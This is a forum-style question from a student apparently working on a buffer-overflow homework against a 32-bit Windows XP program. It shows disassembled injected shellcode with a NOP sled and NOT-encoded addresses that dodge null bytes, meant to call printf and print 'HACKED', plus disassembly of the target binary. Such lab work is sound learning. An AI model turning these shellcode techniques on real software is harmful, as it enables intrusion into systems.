I have homework for hacking a program using buffer overflows (with disassembly, the program was written in C ++, I have no source code). I have already dealt with this, but I have a problem. I need to print some message on the screen, so I found out the address of the printf function, pressed the address "HACKED" and the address "% s" on the stack (in that order) and called this function. The code being called went well, but nothing was printed.
I tried to simulate the environment, as elsewhere in the program, but there must be something wrong. Do you have any idea what I'm doing wrong, that I have no choice, please? Many thanks
EDIT:
This program runs on Windows XP SP3 32b, written in C ++, Intel asm
there is a hack code
CPU Disasm
Address Hex dump Command Comments
0012F9A3 90 NOP ;hack begins
0012F9A4 90 NOP
0012F9A5 90 NOP
0012F9A6 89E5 MOV EBP,ESP
0012F9A8 83EC 7F SUB ESP,7F ;creating a place for working data
0012F9AB 83EC 7F SUB ESP,7F
0012F9AE 31C0 XOR EAX,EAX
0012F9B0 50 PUSH EAX
0012F9B1 50 PUSH EAX
0012F9B2 50 PUSH EAX
0012F9B3 89E8 MOV EAX,EBP
0012F9B5 83E8 09 SUB EAX,9
0012F9B8 BA 1406EDFF MOV EDX,FFED0614 ;address to jump, it is negative because there mustn't be 00 bytes
0012F9BD F7DA NOT EDX
0012F9BF FFE2 JMP EDX ;I have to jump because there are some values overwritten by the program
0012F9C1 90 NOP
0012F9C2 0090 00000000 ADD BYTE PTR DS:[EAX],DL
0012F9C8 90 NOP
0012F9C9 90 NOP
0012F9CA 90 NOP
0012F9CB 90 NOP
0012F9CC 6C INS BYTE PTR ES:[EDI],DX ; I/O command
0012F9CD 65:6E OUTS DX,BYTE PTR GS:[ESI] ; I/O command
0012F9CF 67:74 68 JE SHORT 0012FA3A ; Superfluous address size prefix
0012F9D2 2069 73 AND BYTE PTR DS:[ECX+73],CH
0012F9D5 203439 AND BYTE PTR DS:[EDI+ECX],DH
0012F9D8 34 2C XOR AL,2C
0012F9DA 2066 69 AND BYTE PTR DS:[ESI+69],AH
0012F9DD 72 73 JB SHORT 0012FA52
0012F9DF 74 20 JE SHORT 0012FA01
0012F9E1 3120 XOR DWORD PTR DS:[EAX],ESP
0012F9E3 6C INS BYTE PTR ES:[EDI],DX ; I/O command
0012F9E4 696E 65 7300909 IMUL EBP,DWORD PTR DS:[ESI+65],-6F6FFF8D
0012F9EB 90 NOP
0012F9EC 90 NOP
0012F9ED 90 NOP
0012F9EE 31DB XOR EBX,EBX ; hack continues
0012F9F0 8818 MOV BYTE PTR DS:[EAX],BL ; writing 00 behind word "HACKED"
0012F9F2 83E8 06 SUB EAX,6
0012F9F5 50 PUSH EAX ; address of "HACKED"
0012F9F6 B8 3B8CBEFF MOV EAX,FFBE8C3B
0012F9FB F7D0 NOT EAX
0012F9FD 50 PUSH EAX ; address of "%s"
0012F9FE B8 3897BFFF MOV EAX,FFBF9738
0012FA03 F7D0 NOT EAX
0012FA05 FFD0 CALL EAX ;address of printf
:
CPU Disasm
Address Hex dump Command Comments
00403F40 /$ 55 PUSH EBP
00403F41 |. 8BEC MOV EBP,ESP
00403F43 |. 6A FF PUSH -1
00403F45 |. 68 AB6D4100 PUSH pop3.00416DAB
00403F4A |. 64:A1 0000000 MOV EAX,DWORD PTR FS:[0]
00403F50 |. 50 PUSH EAX
00403F51 |. 64:8925 00000 MOV DWORD PTR FS:[0],ESP
00403F58 |. 81EC 4C050000 SUB ESP,54C
00403F5E |. 6A 00 PUSH 0 ; /Arg1 = 0
00403F60 |. E8 6BDEFFFF CALL 00401DD0 ; \pop3.00401DD0
00403F65 |. 83C4 04 ADD ESP,4
00403F68 |. 50 PUSH EAX ; /Arg1
00403F69 |. E8 DA2D0000 CALL 00406D48 ; \pop3.00406D48
00403F6E |. 83C4 04 ADD ESP,4
00403F71 |. 837D 08 02 CMP DWORD PTR SS:[ARG.1],2
00403F75 |. 74 21 JE SHORT 00403F98
00403F77 |. 837D 08 03 CMP DWORD PTR SS:[ARG.1],3
00403F7B |. 74 1B JE SHORT 00403F98
00403F7D |. 8B45 0C MOV EAX,DWORD PTR SS:[ARG.2]
00403F80 |. 8B08 MOV ECX,DWORD PTR DS:[EAX]
00403F82 |. 51 PUSH ECX
00403F83 |. 68 287D4100 PUSH OFFSET pop3.00417D28 ; ASCII "%s arg: port [log dir]"
00403F88 |. E8 3A290000 CALL 004068C7 ; this is probably address of printf, I have source code of previous version of this program, this part is probably same
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